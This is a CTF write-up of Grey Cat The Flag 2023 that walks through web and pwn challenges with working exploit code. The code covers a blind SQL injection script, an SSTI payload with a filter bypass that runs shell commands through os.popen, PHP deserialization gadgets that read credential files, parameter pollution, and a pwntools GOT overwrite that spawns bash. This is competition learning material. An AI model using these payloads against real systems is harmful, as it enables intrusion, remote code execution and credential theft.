Grey Cat The Flag CTF 2023
Grey Cat The Flag 2023 was a CTF I took part in with my friends under the team 鸡饭GPA. Overall, it was pretty fun except the parts where the organisers had to shutdown the servers less than an hour after commencement to scale up their services.
I primarily did the web as well as some of the pwn challenges.
As I was writing this post, I realised as a rookie to posting writeups, I did not save any flags I attained throughout the CTF LOL. I also did not save my work for some challenges (sad).
Table of Contents
Web
Pwn
# Login Bot (Web)
This challenge presents us with a website and the challenge description:
I made a reverse blog where anyone can blog but only I can see it (Opposite of me blogging and everyone seeing). You can post your content with my bot and I'll read it.Sometimes weird errors happen and the bot gets stuck. I’ve fixed it now so it should work!
Hmm, interesting.
The source code reviews serveral interesting endpoints, namely /send_post
, /url
and /post
.
The latter is only accessible by the admin (effectively the application itself).
@app.route('/send_post', methods=['GET', 'POST'])
def send_post() -> Response:
# ... truncated ...
url = request.form.get('url', '/')
title = request.form.get('title', None)
content = request.form.get('content', None)
# ... truncated ...
url_value = make_post(url, title, content)
flash('Post sent successfully', 'success')
flash('Url id: ' + str(url_value), 'info')
return redirect('/send_post')
def make_post(url: str, title: str, user_content: str) -> int:
"""Make a post to the admin"""
with requests.Session() as s:
visit_url = f"{BASE_URL}/login?next={url}"
resp = s.get(visit_url, timeout=10)
content = resp.content.decode('utf-8')
# Login routine (If website is buggy we run it again.)
for _ in range(2):
print('Logging in... at:', resp.url, file=sys.stderr)
if "bot_login" in content:
# Login routine
resp = s.post(resp.url, data={
'username': 'admin',
'password': FLAG,
})
# Make post
resp = s.post(f"{resp.url}/post", data={
'title': title,
'content': user_content,
})
return db.session.query(Url).count()
The code above surfaces an interesting avenue we could look at, which was the control of the url
argument passed as a parameter passed to make_post
through our form submission.
As the code is executed, once it has logged in, the bot uses the /post
endpoint to make an actual post (commited to db).
One thing we need to note here is that the resp
variable is overriden as the login loop is executed. This introduces an noteworthy behaviour.
Assuming the first login was successful, since the next
paramter is used to redirect the user after login,
when specified, the resp.url
will contain the URL after redirection in the second execution of the loop.
resp.url
is reused the second time as-is, as such,
this provides us control of where the credentials / flag is posted in the second loop execution.
Now, we need to find a way to redirect the bot to a site controlled by us after login.
We can’t immediately specify an argument next
to point the a URL we control because the parameter
is validated using urllib.parse
and .netloc
of the URL from the request context
is compared against the .netloc
in the URL provided (and i don’t know how to bypass it).
@app.route('/post', methods=['POST'])
def post() -> Response:
# ... truncated ...
title = request.form['title']
content = request.form['content']
sanitized_content = sanitize_content(content)
# ... truncated ...
if title and content:
post = Post(title=title, content=sanitized_content)
db.session.add(post)
db.session.commit()
flash('Post created successfully', 'success')
return redirect(url_for('index'))
flash('Please fill all fields', 'danger')
return redirect(url_for('index'))
@app.route('/url/<int:id>')
def url(id: int) -> Response:
url = Url.query.get_or_404(id)
return redirect(url.url)
URL_REGEX = r'(https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*))'
def sanitize_content(content: str) -> str:
# Replace URLs with in house url tracker
urls = re.findall(URL_REGEX, content)
for url in urls:
url = url[0]
url_obj = Url(url=url)
db.session.add(url_obj)
content = content.replace(url, f"/url/{url_obj.id}")
return content
In the above code, we can see the inner workings of the /post
endpoint which takes its inputs, sanitises the content then commits the changes to the database.
The content sanitisation step involves extracting all URLs and commiting them to database, replacing each URL with a link visitable at /url/<id>
endpoint.
Connecting the dots, we could now establish that since URLs are replaced by an link on the same site accessible at /url/<id>
,
we effectively can successfully control the next
parameter in the login flow.
We just need to first make a post containing a URL to a site (use webhook.site) we control (site content must contain “bot_login”), and find our associated URL ID.
Once we obtain our URL ID, sending another post with arbitrary content and the url
parameter set to http://34.124.157.94:5002/url/<OUR LINK ID>
will have the bot deliver the flag to our doorstep.
# 100 Questions (Web)
100 Questions was a challenge aptly named as such supposedly because it was a service built with 100 questions that we could answer (and feel happy if we got them right xD).
In the challenge, we were provided a couple of files. In particular, the files that were of interest are app.py
and database.db
.
Taking a look at database.db
with the file
command, we could see that it was a sqlite3 database. app.py
also reveals the use of SQLite in the application. Opening the file with sqlite3
, we are able to find the table that contains the flag
sqlite> .tables
QNA
sqlite> SELECT * FROM QNA;
...
42|Flag|REDACTED
...
From the above, we can tell that the “question” containing the flag is question 42. Going on to take a look at app.py
, we can immediately spot the endpoint that is vulnerable (there’s only one LOL).
I have marked them with comments.
# app.py
@app.route("/", methods=["GET"])
def index():
qn_id, ans= request.args.get("qn_id", default="1"), request.args.get("ans", default="")
# id check, i don't want anyone to pollute the inputs >:(
if not (qn_id and qn_id.isdigit() and int(qn_id) >= 1 and int(qn_id) <= 100):
# invalid!!!!!
qn_id = 1
# get question
db = sqlite3.connect("database.db")
# VULNERABLE #
cursor = db.execute(f"SELECT Question FROM QNA WHERE ID = {qn_id}")
qn = cursor.fetchone()[0]
# check answer
# VULNERABLE #
cursor = db.execute(f"SELECT * FROM QNA WHERE ID = {qn_id} AND Answer = '{ans}'")
result = cursor.fetchall()
correct = True if result != [] else False
return render_template("index.html", qn_id=qn_id, qn=qn, ans=ans, correct=correct)
From here, I wrote a simple script do exploit the blind SQL injection and reveal the flag.
PAYLOAD = '1\' OR (ID = 42 AND SUBSTR(Answer, 1, {length}) = "{guess}") --'
CHARSET = string.ascii_letters + string.punctuation + string.digits
HOST = '34.126.139.50'
PORT = 10515
def main():
params = {}
flag = 'grey{'
found = False
while not found:
for current in CHARSET:
params['ans'] = PAYLOAD.format(length=len(flag)+1, guess=flag+current)
if is_valid(requests.get(f'http://{HOST}:{PORT}/?' + urlencode(params))):
flag += current
print(flag)
if flag[-1] == '}':
found = True
def is_valid(resp):
return 'Correct!' in resp.content.decode()
# Microservices (Web)
In this challenge, we were provided 3 different services that were deployed by docker compose.
# docker-compose.yml
x-common-variables: &common-variables
ADMIN_COOKIE: FAKE_COOKIE
FLAG: grey{This_is_a_fake_flag}
services:
admin:
build: ./admin_page
container_name: admin_page
environment:
<<: *common-variables
networks:
- backend
homepage:
build: ./homepage
container_name: home_page
environment:
<<: *common-variables
networks:
- backend
gateway:
build: ./gateway
container_name: gateway
ports:
- 5004:80
networks:
- backend
The gateway was our entrypoint into the other services.
In the gateway code, we can see that we are able to control the services we can access behind the gateway via the service
argument.
All arguments parsed to the gateway are forwarded as-is to the backend services behind the gateway.
# gateway/app.py
@app.route("/", methods=["GET"])
def route_traffic() -> Response:
"""Route the traffic to upstream"""
microservice = request.args.get("service", "home_page")
route = routes.get(microservice, None)
if route is None:
return abort(404)
# Fetch the required page with arguments appended
raw_query_param = request.query_string.decode()
print(f"Requesting {route} with q_str {raw_query_param}", file=sys.stderr)
res = get(f"{route}/?{raw_query_param}")
headers = [
(k, v) for k, v in res.raw.headers.items() if k.lower() not in excluded_headers
]
return Response(res.content, res.status_code, headers)
The flag that we wanted was held within the home page service. However, it was only attainable if we know or had the correct ADMIN_COOKIE
referenced in the docker compose setup file (welp, we definitely don’t know it).
# homepage/app.py
@app.route("/")
def homepage() -> Response:
"""The homepage for the app"""
cookie = request.cookies.get("cookie", "Guest Pleb")
# If admin, give flag
if cookie == admin_cookie:
return render_template("flag.html", flag=FLAG, user="admin")
# ... truncated ...
The admin service was the service we needed to get to in order to have the right cookie value set.
# admin_page/app.py
@app.get("/")
async def index(request: Request):
"""
The base service for admin site
"""
# Currently Work in Progress
requested_service = request.query_params.get("service", None)
if requested_service is None:
return {"message": "requested service is not found"}
# Filter external parties who are not local
if requested_service == "admin_page":
return {"message": "admin page is currently not a requested service"}
# Legit admin on localhost
requested_url = request.query_params.get("url", None)
if requested_url is None:
return {"message": "URL is not found"}
# Testing the URL with admin
response = get(requested_url, cookies={"cookie": admin_cookie})
return Response(response.content, response.status_code)
What’s interesting to note is the difference in how the gateway and the admin service retrieves the service
argument value from the request.
The gateway uses request.args
offered by the default Flask implementation while the admin service uses request.query_params
which is offered by the flask-pydantic package.
What we need to note here is that request.args
is a ImmutableMultiDict
wherein multiple values with the having the same key are allowed.
On a call to .get()
, the default behaviour is to return the first value (see this).
Whereas request.query_params
is of type dict
(built-in dictionary type in python).
The conversion is done by here.
The code that does the conversion preserves the last value passed for a given key.
From here, we can simply exploit what is know as a parser
| differential
| parameter pollutioning (OWASP peeps)
attack
to attain the flag.
We will utilise the admin service to visit the home page, but to get around the requested_service == "admin_page"
check, we will use a second parameter of arbitrary value (clearly, do not use “admin_page”).
http://34.124.157.94:5004/?service=admin_page&service=xd&url=http://home_page
# Microservices Revenge (Web)
Welp, it seems microservices is back with a vengeance. This time, things are slightly different.
# docker-compose.yml
x-common-variables: &common-variables
FLAG: grey{fake_flag}
services:
admin:
build: ./admin_page
container_name: radminpage
networks:
- backend
homepage:
build: ./homepage
container_name: rhomepage
networks:
- backend
gateway:
build: ./gateway
container_name: rgateway
ports:
- 5005:80
networks:
- backend
flag:
build: ./flag_page
container_name: rflagpage
environment:
<<: *common-variables
networks:
- backend
A quick look at the docker compose file reveals the differences between the first Microservices challenge and the current one. In this challenge, we have a new service called flag (that quite evidently is our target).
The home page service is useless this time so I will not touch on that service. In this challenge, the services of interest are the three remaining ones.
It took me awhile to connect the dots, but in the gateway service, as before, it forwards all request context (arguments, headers). But unlike Microservices V1, V2 (that’s what we are calling this challenge now) also forwards cookies.
There is also an addition of some checks in the cookie values for sequences such as self
, exec
and _
.
# gateway/app.py
@app.route("/", methods=["GET"])
def route_traffic() -> Response:
"""Route the traffic to upstream"""
microservice = request.args.get("service", "homepage")
route = routes.get(microservice, None)
if route is None:
return abort(404)
# My WAF
if is_sus(request.args.to_dict(), request.cookies.to_dict()):
return Response("Why u attacking me???\nGlad This WAF is working!", 400)
# Fetch the required page with arguments appended
with Session() as s:
for k, v in request.cookies.items():
s.cookies.set(k, v)
res = s.get(route, params={k: v for k, v in request.args.items()})
headers = [
(k, v)
for k, v in res.raw.headers.items()
if k.lower() not in excluded_headers
]
return Response(res.content.decode(), res.status_code, headers)
It didn’t immediately click for me, but eventually, looking at the source for the admin service, I figured the likely the likely avenue was a server-side template injection (SSTI) attack.
# admin_page/app.py
@app.get("/")
def index() -> Response:
"""
The base service for admin site
"""
user = request.cookies.get("user", "user")
# Currently Work in Progress
return render_template_string(
# USER INPUT DIRECTLY PASSED INTO FLASK AS TEMPLATE STRING
f"Sorry {user}, the admin page is currently not open."
)
It took me a while to construct the final payload referencing this as I had to bypass the filters for _
.
Eventually, I landed with the following exploit code which made use of the the request context to attain access to builtin functions and use os.popen
execute a series of system commands.
The first 2 installled curl (not already available) and the final one curled the /flag
endpoint on the flag service and read the response (which would be returned in the response body from the admin service).
Finally, printing the contents of the response gets us the flag.
HOST = 'http://34.124.157.94:5005/?service=adminpage&cookie=_'
def surround_underscore(var):
return "attr(request.args.cookie[0] + request.args.cookie[0] + \"" + var + "\" + request.args.cookie[0] + request.args.cookie[0])"
def surround_underscore_no_attr(var):
return "(request.args.cookie[0] + request.args.cookie[0] + \"" + var + "\" + request.args.cookie[0] + request.args.cookie[0])"
def main():
payload = '{{ '+ f'request|attr("application")|{surround_underscore("globals")}|{surround_underscore("getitem")}{surround_underscore_no_attr("builtins")}|{surround_underscore("getitem")}{surround_underscore_no_attr("import")}("os")|attr("popen")("apt-get update")|attr("read")()' + ' }}'
resp = requests.get(host, cookies={'user': payload})
payload = '{{ '+ f'request|attr("application")|{surround_underscore("globals")}|{surround_underscore("getitem")}{surround_underscore_no_attr("builtins")}|{surround_underscore("getitem")}{surround_underscore_no_attr("import")}("os")|attr("popen")("apt-get install curl -y")|attr("read")()' + ' }}'
resp = requests.get(host, cookies={'user': payload})
payload = '{{ '+ f'request|attr("application")|{surround_underscore("globals")}|{surround_underscore("getitem")}{surround_underscore_no_attr("builtins")}|{surround_underscore("getitem")}{surround_underscore_no_attr("import")}("os")|attr("popen")("curl http://rflagpage/flag")|attr("read")()' + ' }}'
resp = requests.get(host, cookies={'user': payload})
content = resp.content.decode()
print(content)
# View My Album (Web)
This challenge presents us with a web application entirely written in PHP. The application itself is rather simple, giving us only the ability to view album information.
In the provided source code, what is of interest is the way in which the prefs
cookie value is processed.
There are other files that you shoud look at first, like the provided albumns.sql
but those are rather self-explanatory so I’ll spare you the details here.
// src/greetings/index.php
if (isset($_COOKIE['prefs'])) {
$prefs = unserialize($_COOKIE['prefs']);
if (!($prefs instanceof UserPrefs)) {
echo "Unrecognized data: ";
var_dump($prefs);
exit;
}
} else {
// ... set up default prefs if not set ...
}
The two lines we should note in particular is the line calling unserialize
on our provided preferences as well as the var_dump
when the type check fails.
The presence of the former function tells us that a deserialisation likely exists in the application - considering it takes in untrusted data (controllable by us) in the deserialisation. The latter function on the other hand gives us a clue to what we need to look for.
var_dump
as documented here has the following behaviour:
All public, private and protected properties of objects will be returned in the output unless the object implements a __debugInfo() method.
Searching through the codebase, we find the following Albums
class.
// src/greetings/Albums.php
class Albums {
private $store;
public function __construct($store) {
$this->store = $store;
}
// ... truncated ...
public function __debugInfo() {
return $this->getAllAlbums();
}
}
Now, we know that in order to be able to extract useful information, we need to create a Albums
class that provide some kind of store that could help us.
The available RecordStore
implementations can be found in the src/greetings/Records.php
file.
To exploit the vulnerability, I used the following code to generate some serialised objects which I will use to set the values for my prefs
cookie.
// ... import necessary stuff
print urlencode(serialize(new Albums(new CsvRecordStore('db_creds.php'))));
print urlencode(serialize(new Albums(new MysqlRecordStore('mysql', 'user', 'j90dsgjdjds09djvupx', 'challenge', 'flag'))));
The first line creates a new Albums
object using CsvRecordStore
as its underlying store. Since Albums
is obviously not an instance of UserPrefs
, the type check will fail causing var_dump
to be called.
var_dump
will cause the execution of Albums
’s __debugInfo
method which invokes the following code of our CsvRecordStore
instance.
public function getAllRecords() {
$data = array_map('str_getcsv', file($this->file));
$records = array();
foreach ($data as $id => $row) {
$record = new Record($id);
foreach ($row as $key => $value) {
$record->$key = $value;
}
$records[] = $record;
}
return $records;
}
This lets us obtain the contents of db_creds.php
. There is also another store implementation called JsonRecordStore
. I’m not sure if that would work, but it does call json_decode
on the read data, so I believe it likely would not.
With the database credentials, the second object / payload could be created using the MysqlRecordStore
, note the last variable table
is set to the value 'flag'
.
As before, var_dump
will be called which will get all records, in this case, the flag of the challenge.
# Monkeytype (Pwn)
For this challenge, we given access to a service which somewhat emulates the monkeytype site.
Our avenue for interaction is the following command stty -icanon -echo ; nc 34.124.157.94 12321; stty sane
, which is provided by the challenge.
We are also provided the source code of the service. Inspecting the source, we see a couple of interesting excerpts.
// src/monkeytype.c
#define POWERPUFF_GIRLS_SCORE 0xffffffff
#define QUOTE_LEN 33
int main() {
char ch;
int idx = 0;
uint64_t highscore = 0;
char buf[64];
// ... truncated ...
while(ch != 'q') {
if (highscore > POWERPUFF_GIRLS_SCORE) {
endwin();
puts("You win! Here's the flag:");
puts("grey{XXXXXXXXXXXXXXX}");
exit(0);
}
if((ch = getch()) == ERR){
} else if (ch == '\x7f') {
idx--;
update_text(mainwin, buf, idx);
} else if (ch >= 0x20 && ch < 0x7f) {
// ... truncated ...
if (idx < QUOTE_LEN) {
buf[idx++] = ch;
update_text(mainwin, buf, idx);
}
// ... process valid ascii character ...
}
}
}
The code listed above is not the full source code!
We see that when we provide a character input within the valid ascii range, the input is added to the buffer buf
character by character with idx
tracking the current insertion location.
We also see that idx
can be incremented (as we provide each character input), however, when we provide input \x7f
, the value of idx is decremented and our character input is not added to the buffer.
The above provides us a write primitive. However, the question is where should we write to and what should we write. In this case, the answer is rather straightforward.
Looking further at the source code, we know our target is likely to overwrite highscore. Any value that sets highscore to greater 0xffffffff
(max value for 32-bit unsigned integer - highscore is 64-bit unsigned value) allows us to attain the flag.
From here, we have to do a little disassembly to find out how the stack is layed out so we know from which offset from buf
’s location to overwrite.
Ghidra provides the following decompilation which reveals that the start of highscore
is at an offset of 72 bytes from buf
.
int main(void)
{
// ... truncated ...
uint64_t highscore;
WINDOW *mainwin;
uint64_t score;
timespec start;
timespec stop;
timespec local_68;
char buf [64];
// ... truncated ...
Thus, this leads us to the final little command to exploit the service.
The command effectively sets idx
to -72 and writes 8 'a'
to the location, changing the value of highscore.
On hindsight, I would think a single 'a'
would be sufficient to trigger the win condition.
python3 -c "print('\x7f' * 72 + 'a' * 8, end='')" | nc 34.124.157.94 12321 > flag
# Arraystore (Pwn)
Arraystore is a fair name for this challenge and gives a good amount of clue as to what we need to do.
In this challenge, we are provided a single binary which we need to reverse.
$ checksec --file=arraystore
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 32 Symbols No 0 2 arraystore
The binary is unstripped and there is only partial RELRO (see here for partial vs. full RELRO). Decompiling the main function in ghidra yields us the following code.
undefined8 main(void)
{
longlong lVar1;
longlong lVar2;
long in_FS_OFFSET;
longlong alStack_3c8 [100];
char local_a8 [104];
long local_40;
local_40 = *(long *)(in_FS_OFFSET + 0x28);
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
setbuf(stderr,(char *)0x0);
puts("Your array has 100 entries");
do {
while( true ) {
printf("Read/Write?: ");
fgets(local_a8,100,stdin);
if (local_a8[0] == 'R') break;
if (local_a8[0] != 'W') {
puts("Invalid option");
if (local_40 == *(long *)(in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
printf("Index: ");
fgets(local_a8,100,stdin);
lVar1 = strtoll(local_a8,(char **)0x0,10);
if (lVar1 < 100) {
printf("Value: ");
fgets(local_a8,100,stdin);
lVar2 = strtoll(local_a8,(char **)0x0,10);
alStack_3c8[lVar1] = lVar2;
}
else {
LAB_001011b8:
puts("Invalid index");
}
}
printf("Index: ");
fgets(local_a8,100,stdin);
lVar1 = strtoll(local_a8,(char **)0x0,10);
if (99 < lVar1) goto LAB_001011b8;
printf("Value: %lld\n",alStack_3c8[lVar1]);
} while( true );
}
The operation of the program is rather simple. We can read and write from an array in the program at any index of our choosing. However, there are some checks which disallow us to write beyond the upperbound of the array (index >= 100). However, the program does not check for negative indexes (< 0). This introduces a vulnerablity which gives us a read / write primitive.
Remember earlier, we found that the program only has partial RELRO which means the GOT table is writable. Connecting the dots, if we could somehow override some address stored within the .got.plt
section of the binary,
we could control which function is called. Ideally, the function we want to override should take in a string argument by default, so if we were to replace the function with system
from libc it will give us RCE.
The ideal function would also be one which we can control the argument of. In this case, we identified the fgets
.
Now, to overwrite the entries there are a couple of pre-requisites we must achieve especially since relocation is involved.
- First, we need to figure out the location of our stack at runtime.
- Next, we need to identify the runtime location of the
.got.plt
section.- This comes in handy for us to leak addresses of some libc functions at runtime so we can figure out which libc version is used on the remote serve, and…
- Find out the runtime address of the
system
function so we can overwritefgets
’s entry to point to system instead.
Finding Stack Location
In any program, so long as the program is executed in the same flow, the contents in the stack remain largely similar in nature.
Thus, to locate ourselves in the stack we can use the read function in the program, conduct a few runs while inspecting the stack and see if anything is useful to help us figure our the stack location at runtime.
In our case, we found that indexing the array at -7 while conducting a read realiably leaks an address which is 800 greater than our actual $rsp
value of the main
stack frame.
$rsp
also happens to be the start of our array.
from pwn import *
STACK_OFFSET = 800
def main():
conn = remote('34.124.157.94', 10546)
conn.recvline()
runtime_stk_offset = read_val(conn, -7)
stack_array = runtime_stk_offset - STACK_OFFSET
# ... to be continued
def read_val(conn, at):
conn.recvuntil(b': ')
conn.sendline(b'R')
conn.recvuntil(b': ')
conn.sendline(str(at).encode())
conn.recvuntil(b': ')
return int(conn.recvline().decode().strip())
So we have both figured out the runtime address of our array and the start location of our stack.
Finding .got.plt section
To find the runtime location of the .got.plt
section, we can simply leak the address of any function within the program.
Since our array is at the top of the stack, indexing the array at -1 will leak the return address of the previous function call, which will tell us the location of an instruction in the main
function.
In this case, the return address leaked points to main+357
. Disassembling the binary tells us the static offset of the instruction at main+357
is 0x11f5
. Using the aforementioned information, we can calculate the ASLR offset at runtime.
pwndbg> disass main
Dump of assembler code for function main:
... truncated ...
0x00000000000011f5 <+357>: cmp rax,0x63
... truncated ...
MAIN_357 = 0x11f5
def main():
# ... continuing
main_function_357 = read_val(conn, -1)
aslr_offset = main_function_357 - MAIN_357
After calculating the ASLR offset at runtime, we are now able to use that to find the location of functions in the .got.plt
section. Static disassembly shows that the functions setbuf
, printf
and fgets
are at 0x4010
, 0x4018
and 0x4020
respectively.
While we are able to calculate the addresses we need to access, we need to keep in mind that what we are passing to the program is an index.
Since the array is of type long long
, each array element is 8 bytes.
Thus in order to figure out the index to pass to the program, we use the following formula:
index = (target_address - stack_base_address) / 8
The following series of code leaks the address of setbuf
, printf
and fgets
.
def main():
# ... continuing
setbuf_gotplt = aslr_offset + 0x4010
setbuf_idx = int((setbuf_gotplt - stack_array) / 8)
setbuf_libc = read_val(conn, setbuf_idx)
print('SETBUF:', hex(setbuf_libc))
printf_gotplt = aslr_offset + 0x4018
printf_idx = int((printf_gotplt - stack_array) / 8)
printf_libc = read_val(conn, printf_idx)
print('PRINTF:', hex(printf_libc))
fgets_gotplt = aslr_offset + 0x4020
fgets_idx = int((fgets_gotplt - stack_array) / 8)
fgets_libc = read_val(conn, fgets_idx)
print('FGETS:', hex(fgets_libc))
Using a service like libc.rip and the leaked addresses, we can find the libc version used by the remote server.
Searching the site with our leaked addresses indicated the remote server is likely using libc6_2.35-0ubuntu1_amd64
(or whatever else that has the same offsets).
From the service, we can extract the static offsets of fgets
and system
.
The former is extracted to calculate the libc base address while the latter is used to derive the runtime address of system
with which we will use to overwrite fgets
’s .got.plt
entry.
SYSTEM_OFFSET = 0x50d60
def main():
# ... continuing
libc_base = fgets_libc - 0x7f401
set_val(conn, fgets_idx, int(libc_base+SYSTEM_OFFSET))
conn.interactive()
def set_val(conn, at, val):
conn.recvuntil(b': ')
conn.sendline(b'W')
conn.recvuntil(b': ')
conn.sendline(str(at).encode())
conn.recvuntil(b': ')
conn.sendline(str(val).encode()+'; bash'.encode())
# Added '; bash' so when fgets is called bash is executed
Thus our final exploit code looks something like this (excluding some functions already declared above).
MAIN_357 = 0x11f5
STACK_IDX = -7
STACK_OFFSET = 800
SYSTEM_OFFSET = 0x50d60
def main():
conn = remote('34.124.157.94', 10546)
conn.recvline()
# Leak stack address
runtime_stk_offset = read_val(conn, -7)
stack_array = runtime_stk_offset - STACK_OFFSET
# Leak main function to find ASLR
main_function_357 = read_val(conn, -1)
aslr_offset = main_function_357 - MAIN_357
# Leak libc function addresses
# to find libc version
setbuf_gotplt = aslr_offset + 0x4010
setbuf_idx = int((setbuf_gotplt - stack_array) / 8)
setbuf_libc = read_val(conn, setbuf_idx)
print('SETBUF:', hex(setbuf_libc))
printf_gotplt = aslr_offset + 0x4018
printf_idx = int((printf_gotplt - stack_array) / 8)
printf_libc = read_val(conn, printf_idx)
print('PRINTF:', hex(printf_libc))
fgets_gotplt = aslr_offset + 0x4020
fgets_idx = int((fgets_gotplt - stack_array) / 8)
fgets_libc = read_val(conn, fgets_idx)
print('FGETS:', hex(fgets_libc))
# KABOOM!
libc_base = fgets_libc - 0x7f401
set_val(conn, fgets_idx, int(libc_base+SYSTEM_OFFSET))
conn.interactive()